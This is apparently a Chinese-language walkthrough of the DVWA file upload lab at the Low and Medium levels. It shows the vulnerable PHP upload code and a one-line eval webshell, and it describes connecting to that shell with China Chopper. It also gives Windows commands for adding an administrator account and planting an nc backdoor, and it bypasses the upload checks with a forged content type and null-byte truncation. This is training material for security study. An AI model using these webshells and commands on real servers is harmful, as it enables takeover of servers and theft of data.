由於對上傳文件的類型、內容沒有進行嚴格的過濾、檢查,使得攻擊者可以通過上傳木馬獲取服務器的webshell權限,因此文件上傳漏洞帶來的危害常常是毀滅性的。
下面對不同級別的代碼進行分析。
一:LOW
1、服務器端核心代碼
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
可以看到,服務器對上傳文件的類型、內容沒有做任何的檢查、過濾,存在明顯的文件上傳漏洞,生成上傳路徑後,服務器會檢查是否上傳成功並返回相應提示信息。
文件上傳漏洞的利用是有限制條件的,首先當然是要能夠成功上傳木馬文件,其次上傳文件必須能夠被執行,最後就是上傳文件的路徑必須可知。
2、漏洞利用
(1)首先先上傳一個一句話木馬hack.php,參數名(一句話木馬口令)爲hack。
<?php
@eval($_POST['hack'])
?>
上傳成功,並且返回了上傳路徑
3、這時我們就可以使用中國菜刀這個工具了,右鍵添加
4、然後中國菜刀就會通過向服務器發送包含hack參數的post請求,在服務器上執行任意命令,獲取webshell權限。可以下載、修改服務器的所有文件。
5、獲取權限後,把cmd上傳,此時是沒有權限的(whoami查看權限),需要提權
補充:以下這幾種命令有admin權限才能執行
1、net user 查看用戶
2、net user 123 123 /add添加用戶
3、net localgroup Administrators 123 /add 把新建的123賬號添加到管理員組
4、net start telnet 開啓靶機的telnet服務(利用telnet登錄,使用ftp把nc下載到靶機並運行,這樣就建立了後門)
3、Systeminfo 查看計算機的信息(操作系統,位數,補丁情況等)
4、Tasklist /svc 查看計算機的進程
5、Netstat -ano 查看計算機的網絡端口連接
4、在網站提權中我們經常會使用到這些工具Churrasco.exe (巴西烤肉) cmd.exe nc.exe pr.exe 360.exe 等等。
如果說webshell不能執行cmd那麼我們就需要上傳一個cmd,如果說上傳cmd後不能添加用戶那麼我我們就需要上傳以上軟件
如:上傳成功後C:\WINDOWS\system32\pr.exe “net user 123 123 /add”。
二:Medium
1、服務器端核心代碼
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
可以看到,Medium級別的代碼對上傳文件的類型、大小做了限制,要求文件類型必須是jpeg或者png,大小不能超過100000B(約爲97.6KB)。
2、漏洞利用
(1)組合拳(文件包含+文件上傳)
因爲採用的是一句話木馬,所以文件大小不會有問題,至於文件類型的檢查,嘗試修改文件名爲hack.png。
<?php
@eval($_POST['hack'])
?>
上傳成功
(2)這時打開中國菜刀
雖然成功上傳了文件,但是並不能成功獲取webshell權限。
(3)中國菜刀的原理是向上傳文件發送包含hack參數的post請求,通過控制ack參數來執行不同的命令,而這裏服務器將木馬文件解析成了圖片文件,因此向其發送post請求時,服務器只會返回這個“圖片”文件,並不會執行相應命令。
(4)讓服務器將其解析爲php文件,抓包修改文件類型,上傳hack.png文件,抓包。
嘗試修改filename爲hack.php。
上傳成功。上菜刀,獲取webshell權限。
方法二:截斷繞過規則。
在php版本小於5.3.4的服務器中,當Magic_quote_gpc選項爲off時,可以在文件名中使用%00截斷,所以可以把上傳文件命名爲hack.php%00.png。可以看到,包中的文件類型爲image/png,可以通過文件類型檢查。
服務器會認爲其文件名爲hack.php,順勢解析爲php文件